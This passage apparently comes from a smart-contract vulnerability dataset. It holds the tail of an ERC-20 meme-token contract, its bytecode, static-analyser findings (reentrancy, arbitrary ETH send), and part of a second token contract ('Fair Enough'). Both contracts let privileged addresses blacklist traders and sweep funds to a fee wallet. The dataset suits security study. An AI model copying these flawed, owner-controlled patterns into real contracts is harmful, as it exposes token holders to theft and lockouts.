uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 100000000 * 10**9; _maxHeldTokens = 200000000 * 10**9; } function setMaxTxn(uint maxbuy, uint maxheld) external { require(_msgSender() == _TaxAdd); require(maxbuy >= 100000000 * 10**9); require(maxheld >= 200000000 * 10**9); _maxBuyAmount = maxbuy; _maxHeldTokens = maxheld; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < 13 && sell < 13 && buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105ac578063db92dbb6146105c1578063dcb0e0ad146105d6578063dd62ed3e146105f6578063e8078d941461063c57600080fd5b8063a3f4782f14610537578063a9059cbb14610557578063b515566a14610577578063c3c8cd801461059757600080fd5b806373f54a11116100dc57806373f54a11146104a55780638da5cb5b146104c557806394b8d8f2146104e357806395d89b411461050357600080fd5b8063590f897e146104455780636fc3eaec1461045b57806370a0823114610470578063715018a61461049057600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103b657806340b9a54b146103ef57806345596e2e1461040557806349bd5a5e1461042557600080fd5b806327f3a72a14610344578063313ce5671461035957806331c2d8471461038057806332d873d8146103a057600080fd5b8063104ce66d116101c1578063104ce66d146102bb57806318160ddd146102f35780631940d0201461030e57806323b872dd1461032457600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b3146102695780630b78f9c01461029957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025c604051806040016040528060098152602001684d656c6f6e20496e7560b81b81525081565b60405161021e9190611a33565b34801561027557600080fd5b50610289610284366004611aad565b610651565b604051901515815260200161021e565b3480156102a557600080fd5b506102b96102b4366004611ad9565b610667565b005b3480156102c757600080fd5b506008546102db906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102ff57600080fd5b50678ac7230489e80000610214565b34801561031a57600080fd5b50610214600e5481565b34801561033057600080fd5b5061028961033f366004611afb565b610701565b34801561035057600080fd5b50610214610755565b34801561036557600080fd5b5061036e600981565b60405160ff909116815260200161021e565b34801561038c57600080fd5b506102b961039b366004611b52565b610765565b3480156103ac57600080fd5b50610214600f5481565b3480156103c257600080fd5b506102896103d1366004611c17565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fb57600080fd5b50610214600a5481565b34801561041157600080fd5b506102b9610420366004611c34565b6107f1565b34801561043157600080fd5b506009546102db906001600160a01b031681565b34801561045157600080fd5b50610214600b5481565b34801561046757600080fd5b506102b9610892565b34801561047c57600080fd5b5061021461048b366004611c17565b6108bf565b34801561049c57600080fd5b506102b96108da565b3480156104b157600080fd5b506102b96104c0366004611c17565b61094e565b3480156104d157600080fd5b506000546001600160a01b03166102db565b3480156104ef57600080fd5b506010546102899062010000900460ff1681565b34801561050f57600080fd5b5061025c604051806040016040528060088152602001674d454c4f4e494e5560c01b81525081565b34801561054357600080fd5b506102b9610552366004611ad9565b6109bc565b34801561056357600080fd5b50610289610572366004611aad565b610a11565b34801561058357600080fd5b506102b9610592366004611b52565b610a1e565b3480156105a357600080fd5b506102b9610b37565b3480156105b857600080fd5b506102b9610b6d565b3480156105cd57600080fd5b50610214610c0f565b3480156105e257600080fd5b506102b96105f1366004611c5b565b610c27565b34801561060257600080fd5b50610214610611366004611c78565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064857600080fd5b506102b9610c9a565b600061065e338484610fe0565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068757600080fd5b600d821080156106975750600d81105b80156106a45750600a5482105b80156106b15750600b5481105b6106ba57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061070e848484611104565b6001600160a01b038416600090815260036020908152604080832033845290915281205461073d908490611cc7565b905061074a853383610fe0565b506001949350505050565b6000610760306108bf565b905090565b6008546001600160a01b0316336001600160a01b03161461078557600080fd5b60005b81518110156107ed576000600560008484815181106107a9576107a9611cde565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e581611cf4565b915050610788565b5050565b6008546001600160a01b0316336001600160a01b03161461081157600080fd5b600081116108565760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108b257600080fd5b476108bc816116d0565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109045760405162461bcd60e51b815260040161084d90611d0f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461096e57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610887565b6008546001600160a01b0316336001600160a01b0316146109dc57600080fd5b67016345785d8a00008210156109f157600080fd5b6702c68af0bb140000811015610a0657600080fd5b600d91909155600e55565b600061065e338484611104565b6000546001600160a01b03163314610a485760405162461bcd60e51b815260040161084d90611d0f565b60005b81518110156107ed5760095482516001600160a01b0390911690839083908110610a7757610a77611cde565b60200260200101516001600160a01b031614158015610ac8575060075482516001600160a01b0390911690839083908110610ab457610ab4611cde565b60200260200101516001600160a01b031614155b15610b2557600160056000848481518110610ae557610ae5611cde565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b2f81611cf4565b915050610a4b565b6008546001600160a01b0316336001600160a01b031614610b5757600080fd5b6000610b62306108bf565b90506108bc8161170a565b6000546001600160a01b03163314610b975760405162461bcd60e51b815260040161084d90611d0f565b60105460ff1615610be45760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161084d565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b600954600090610760906001600160a01b03166108bf565b6008546001600160a01b0316336001600160a01b031614610c4757600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610887565b6000546001600160a01b03163314610cc45760405162461bcd60e51b815260040161084d90611d0f565b60105460ff1615610d115760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161084d565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d4d3082678ac7230489e80000610fe0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610daf9190611d44565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e209190611d44565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e919190611d44565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610ec1816108bf565b600080610ed66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f639190611d61565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fbc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ed9190611d8f565b6001600160a01b0383166110425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161084d565b6001600160a01b0382166110a35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161084d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561114657506001600160a01b03821660009081526005602052604090205460ff16155b801561116257503360009081526005602052604090205460ff16155b61116b57600080fd5b6001600160a01b0383166111cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161084d565b6001600160a01b0382166112315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161084d565b600081116112935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161084d565b600080546001600160a01b038581169116148015906112c057506000546001600160a01b03848116911614155b15611671576009546001600160a01b0385811691161480156112f057506007546001600160a01b03848116911614155b801561131557506001600160a01b03831660009081526004602052604090205460ff16155b156114e75760105460ff1661136c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161084d565b600f5442141561139a576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113ec5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161084d565b600e546113f8846108bf565b6114029084611dac565b11156114605760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161084d565b6001600160a01b03831660009081526006602052604090206001015460ff166114c8576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611501575060105460ff165b801561151b57506009546001600160a01b03858116911614155b156116715761152b42600a611dac565b6001600160a01b0385166000908152600660205260409020541061159d5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161084d565b60006115a8306108bf565b9050801561165a5760105462010000900460ff161561162b57600c54600954606491906115dd906001600160a01b03166108bf565b6115e79190611dc4565b6115f19190611de3565b81111561162b57600c5460095460649190611614906001600160a01b03166108bf565b61161e9190611dc4565b6116289190611de3565b90505b6000611638600683611de3565b90506116448183611cc7565b915061164f8161187e565b6116588261170a565b505b47801561166a5761166a476116d0565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116b357506001600160a01b03841660009081526004602052604090205460ff165b156116bc575060005b6116c985858584866118ae565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ed573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061174e5761174e611cde565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cb9190611d44565b816001815181106117de576117de611cde565b6001600160a01b0392831660209182029290920101526007546118049130911684610fe0565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061183d908590600090869030904290600401611e05565b600060405180830381600087803b15801561185757600080fd5b505af115801561186b573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff00191661010017905580156118a0576118a03061dead83611104565b506010805461ff0019169055565b60006118ba83836118d0565b90506118c8868686846118f4565b505050505050565b60008083156118ed5782156118e85750600a546118ed565b50600b545b9392505050565b60008061190184846119d1565b6001600160a01b038816600090815260026020526040902054919350915061192a908590611cc7565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461195a908390611dac565b6001600160a01b03861660009081526002602052604090205561197c81611a05565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119c191815260200190565b60405180910390a3505050505050565b6000808060646119e18587611dc4565b6119eb9190611de3565b905060006119f98287611cc7565b96919550909350505050565b30600090815260026020526040902054611a20908290611dac565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a6057858101830151858201604001528201611a44565b81811115611a72576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108bc57600080fd5b8035611aa881611a88565b919050565b60008060408385031215611ac057600080fd5b8235611acb81611a88565b946020939093013593505050565b60008060408385031215611aec57600080fd5b50508035926020909101359150565b600080600060608486031215611b1057600080fd5b8335611b1b81611a88565b92506020840135611b2b81611a88565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b6557600080fd5b823567ffffffffffffffff80821115611b7d57600080fd5b818501915085601f830112611b9157600080fd5b813581811115611ba357611ba3611b3c565b8060051b604051601f19603f83011681018181108582111715611bc857611bc8611b3c565b604052918252848201925083810185019188831115611be657600080fd5b938501935b82851015611c0b57611bfc85611a9d565b84529385019392850192611beb565b98975050505050505050565b600060208284031215611c2957600080fd5b81356118ed81611a88565b600060208284031215611c4657600080fd5b5035919050565b80151581146108bc57600080fd5b600060208284031215611c6d57600080fd5b81356118ed81611c4d565b60008060408385031215611c8b57600080fd5b8235611c9681611a88565b91506020830135611ca681611a88565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cd957611cd9611cb1565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d0857611d08611cb1565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d5657600080fd5b81516118ed81611a88565b600080600060608486031215611d7657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611da157600080fd5b81516118ed81611c4d565b60008219821115611dbf57611dbf611cb1565b500190565b6000816000190483118215151615611dde57611dde611cb1565b500290565b600082611e0057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e555784516001600160a01b031683529383019391830191600101611e30565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f528a2755062613ed2afde232c288adeef54e35080816b75b31fee9fdaf6083e64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,452
0x9290f25e962cb4b6bfc85195fe98f1ef0112c97e
/* High tax meme tokens die quickly while devs rake in insane amounts of ETH regardless. Fuck that. 1% reflection 1% dev/marketing tax Fair enough? t.me/FairEnoughERC Contract is forked from $NOONE because I know it's safe and audited. No affiliation with the project whatsoever. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Fair Enough ️"; string private constant _symbol = 'FE'; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) public { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); 